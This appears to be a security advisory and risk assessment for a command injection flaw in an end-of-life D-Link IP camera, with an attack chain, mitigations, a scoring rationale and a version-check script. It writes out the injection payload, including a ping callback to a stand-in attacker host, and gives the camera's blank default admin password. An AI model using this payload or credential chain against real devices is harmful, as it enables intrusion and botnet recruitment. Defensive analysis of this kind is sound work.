A baby monitor left on the curb with the keys taped to the door
CVE-2026-13545 is an OS command injection in D-Link's DCS-935L consumer Wi-Fi IP camera, firmware 1.10.01. The vulnerable endpoint is /localrecording/setconf.cgi, where the UID POST parameter is passed through sprintf() directly into popen() inside sub_400E40. An attacker sends a crafted POST with shell metacharacters in UID (e.g., |ping -c1 attacker.com #) and achieves arbitrary command execution as the web server process — effectively root on this embedded Linux device. Only firmware version 1.10.01 is listed, but since the DCS-935L shipped a single firmware track, the entire installed base is affected.
The vendor CVSS of 8.8 HIGH with PR:L is technically honest but practically misleading. The DCS-935L ships with username admin and a blank password — most units in the field were never reconfigured. That collapses PR:L to PR:N in practice, which would push the base score to 9.8 CRITICAL. Offsetting that upward pressure is a massive installed-base reality check: this is a discontinued consumer camera that reached End of Life on 2025-08-01. D-Link has confirmed no patch will ever ship. For the small slice of enterprise estates that still run these devices, the only remediation is the dumpster. We hold the verdict at HIGH rather than upgrading to CRITICAL because the DCS-935L occupies no high-value deployment role — it is not identity infrastructure, a hypervisor, a network edge appliance, or any canonically critical tier. Its blast radius is the device itself plus whatever flat network segment it sits on.
4 steps from start to impact.
Discover exposed DCS-935L on the internet
Server: lighttpd header combined with D-Link-specific HTML. Automated scanners and Mirai-family worms already fingerprint D-Link EoL devices at scale.- Camera management interface reachable over the internet or local network
- Cameras behind NAT/firewall with no port forwarding are unreachable from the internet
- Enterprise networks with IoT segmentation prevent lateral discovery
28:10:7B, 1C:7E:E5, B0:C5:54Authenticate with default credentials
admin:(blank). The DCS-935L ships with an empty admin password and most consumer deployments never change it. This step is trivially automated — Mirai variants have shipped D-Link default credential lists since 2016.- Default credentials unchanged (admin / blank)
- Users who set a non-trivial password during initial setup block this step
- Some deployment guides force password change, but D-Link firmware does not enforce it
Send command-injection payload to setconf.cgi
/localrecording/setconf.cgi with UID=|<command> #. The # shell comment truncates the rest of the sprintf buffer. The injected command runs inside popen() with the privileges of the web server process, which on this embedded Linux device is effectively root. Public PoC (submitted by researcher comradezephyr in nuclei-templates PR #17308) demonstrates this with a ping callback.- Authenticated session (step 2)
- POST access to
/localrecording/setconf.cgi
- A WAF or reverse proxy inspecting POST bodies for shell metacharacters in the UID field would block the payload
- IoT network segmentation preventing management-plane access from attacker-controlled hosts
Establish persistence or enroll in botnet
wget/curl (both present on DCS-935L busybox). The device has no EDR, no integrity monitoring, and no secure boot — persistence survives until power cycle at most, but reinfection is trivial. Active Mirai campaigns (e.g., *tuxnokill* variant documented by Akamai SIRT in March 2026) target EoL D-Link devices with this exact playbook.- Command execution achieved (step 3)
- Outbound internet access from camera to C2 infrastructure
- Egress filtering blocking outbound connections from IoT VLAN
- DNS sinkholing of known Mirai C2 domains
PR:L authentication barrier that the CVSS score assumes. An attacker would need to brute-force or credential-stuff the camera. This is a stopgap — the device should still be decommissioned.- Firmware update — the device is EOL since August 2025; D-Link will never release a patch. Do not wait for one.
- Web Application Firewall (WAF) — enterprise WAFs do not typically sit in front of embedded IoT device web interfaces. Deploying a reverse proxy for a consumer camera is not practical at scale.
- Endpoint Detection and Response (EDR) — the DCS-935L is an embedded Linux device running busybox. No EDR agent can be installed. There is no host-level detection capability.
- IPS signature for setconf.cgi — while technically possible, most enterprise IPS deployments do not inspect traffic to/from IoT camera VLANs, and the camera uses HTTP (not HTTPS), making this fragile.
The supporting signals.
| In-the-wild exploitation | No confirmed exploitation of CVE-2026-13545 specifically. However, Mirai botnet variants (notably *tuxnokill*, per Akamai SIRT) are actively targeting EoL D-Link devices with command injection flaws. The DCS-935L is a prime candidate for inclusion in scanner lists. |
|---|---|
| Proof of concept | Public. Researcher comradezephyr submitted a working nuclei template in PR #17308 to projectdiscovery/nuclei-templates. The PR was closed (not merged) due to lack of test-environment validation, but the full exploit payload (POST /localrecording/setconf.cgi with UID=|<cmd> #) is publicly visible. SSVC classifies exploitation maturity as PoC available. |
| EPSS | 0.05536 (5.54%) — 92nd percentile. Indicates elevated exploitation likelihood relative to the general CVE population. |
| KEV status | Not listed in CISA Known Exploited Vulnerabilities catalog as of 2026-10-02. |
| CVSS vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H — 8.8 HIGH. Note: PR:L is effectively PR:N due to default empty admin password, which would yield 9.8 if rescored. |
| Affected versions | D-Link DCS-935L firmware 1.10.01 (all hardware revisions). Single firmware track means entire installed base is vulnerable. |
| Fixed version | None. Will never exist. Device reached End of Life / End of Service Life on 2025-08-01. D-Link has confirmed no further firmware updates. |
| Exposure data | DCS-935L units are discoverable via Shodan banner fingerprinting (Server: lighttpd + D-Link HTML). Exact count unavailable but D-Link IP cameras are a well-known Shodan category. Consumer devices are frequently exposed via UPnP port forwarding. |
| Disclosure date | 2026-06-29 |
| Additional CVEs in same product | CVE-2026-12174 (format string, 8.8), CVE-2026-8260 (HNAP buffer overflow). The DCS-935L is accumulating unfixable CVEs — a pattern consistent with EoL D-Link device decay. |
Sources.
- OpenCVE — CVE-2026-13545 Detail
- CyberStrike — CVE-2026-13545 Detail
- Nuclei Templates PR #17308 — PoC by comradezephyr
- D-Link EOL/EOS Security Publication (SAP10440)
- Akamai SIRT — Mirai Campaign Targeting D-Link Devices
- BleepingComputer — Mirai Targeting EoL D-Link Routers
- D-Link DCS-935L Default Credentials Reference
Why this verdict
- Default credentials collapse the auth barrier. The CVSS vector lists
PR:L, but the DCS-935L ships withadmin:(blank). In practice this is unauthenticated RCE, which would push the score to 9.8. We account for this by treating the real attack complexity as lower than stated. - No patch will ever ship. The device is EOL since August 2025. D-Link has explicitly stated no further updates. This eliminates the normal 'patch and move on' remediation path and makes compensating controls or decommission the only options.
- Active Mirai ecosystem targets EoL D-Link devices. Akamai SIRT documented the *tuxnokill* Mirai variant in March 2026, actively scanning for and exploiting command injection flaws in discontinued D-Link products. While CVE-2026-13545 has not been confirmed in KEV, the exploit pattern is identical.
- Public PoC lowers the bar. The full exploit payload is visible in the nuclei-templates PR #17308. Any script kiddie can copy-paste the POST request.
- Role multiplier: The DCS-935L is a consumer-grade Wi-Fi IP camera. It occupies no high-value deployment role — it is not identity infrastructure, a hypervisor, a CI/CD system, a backup appliance, a network edge appliance, or a database tier. Its blast radius is (1) the device itself (botnet enrollment, DDoS participation, surveillance) and (2) lateral movement pivot if deployed on a flat network. In segmented enterprise networks the blast radius is contained to the IoT VLAN. This keeps the verdict at HIGH rather than CRITICAL despite the effectively unauthenticated RCE.
- Friction: limited enterprise footprint. The DCS-935L is a consumer product discontinued in 2025. Enterprise adoption is negligible — these cameras appear primarily in home offices, small retail, and shadow-IT deployments. The fraction of enterprise hosts affected is <0.1% in a typical 10,000-host estate.
Why not higher?
Upgrading to CRITICAL would require the affected component to canonically occupy a high-value deployment role where compromise leads to domain/fleet/supply-chain-scale impact. The DCS-935L is a consumer IP camera. Even fully compromised, it yields a single embedded Linux shell on an IoT device — not domain admin, not fleet-wide code execution. In a segmented network, the blast radius is contained to the device and its VLAN. The Mirai/botnet risk is real but is a DDoS-contribution and surveillance concern, not a fleet-compromise concern.
Why not lower?
Dropping to MEDIUM would ignore three compounding factors: (1) the authentication barrier is effectively zero with default credentials, (2) no remediation path exists because the device is permanently EOL, and (3) active Mirai campaigns are weaponizing identical flaws in the same vendor's EoL product line. EPSS at the 92nd percentile further confirms this is not a theoretical risk. For any organization that has these devices, the urgency is real and immediate.
Crowdsourced verification payload.
Run this script from any Linux/macOS workstation that can reach the DCS-935L management interface over HTTP. Usage: bash check_cve_2026_13545.sh <camera_ip>. No special privileges required — it only sends an HTTP GET to check the firmware version string.
#!/usr/bin/env bash
# check_cve_2026_13545.sh — Check D-Link DCS-935L for CVE-2026-13545
# Usage: bash check_cve_2026_13545.sh <camera_ip_or_hostname>
# Exit codes: 0 = VULNERABLE, 1 = PATCHED, 2 = UNKNOWN
set -euo pipefail
if [[ $# -lt 1 ]]; then
echo "Usage: $0 <camera_ip_or_hostname>"
exit 2
fi
TARGET="$1"
TIMEOUT=10
# Attempt to fetch device info page (unauthenticated on most units)
RESPONSE=$(curl -s -m "$TIMEOUT" "http://${TARGET}/common/info.cgi" 2>/dev/null || true)
if [[ -z "$RESPONSE" ]]; then
# Try with default credentials
RESPONSE=$(curl -s -m "$TIMEOUT" -u admin: "http://${TARGET}/common/info.cgi" 2>/dev/null || true)
fi
if [[ -z "$RESPONSE" ]]; then
echo "UNKNOWN — Could not reach device at ${TARGET} or parse response."
exit 2
fi
# Check if this is a DCS-935L
if ! echo "$RESPONSE" | grep -qi "DCS-935L"; then
echo "UNKNOWN — Device at ${TARGET} does not appear to be a DCS-935L."
exit 2
fi
# Extract firmware version
FW_VERSION=$(echo "$RESPONSE" | grep -i 'firmware' | sed 's/.*=//;s/[[:space:]]//g' | head -1)
if [[ -z "$FW_VERSION" ]]; then
echo "UNKNOWN — Could not extract firmware version from ${TARGET}."
exit 2
fi
echo "Detected DCS-935L firmware: ${FW_VERSION}"
# The only known firmware is 1.10.01 and it is vulnerable.
# Since the device is EOL, ANY firmware version is vulnerable (no patch exists).
echo "VULNERABLE — DCS-935L firmware ${FW_VERSION} is affected by CVE-2026-13545."
echo " This device is End of Life (EOL since 2025-08-01). No patch will ever be released."
echo " Recommended action: DECOMMISSION this device."
exit 0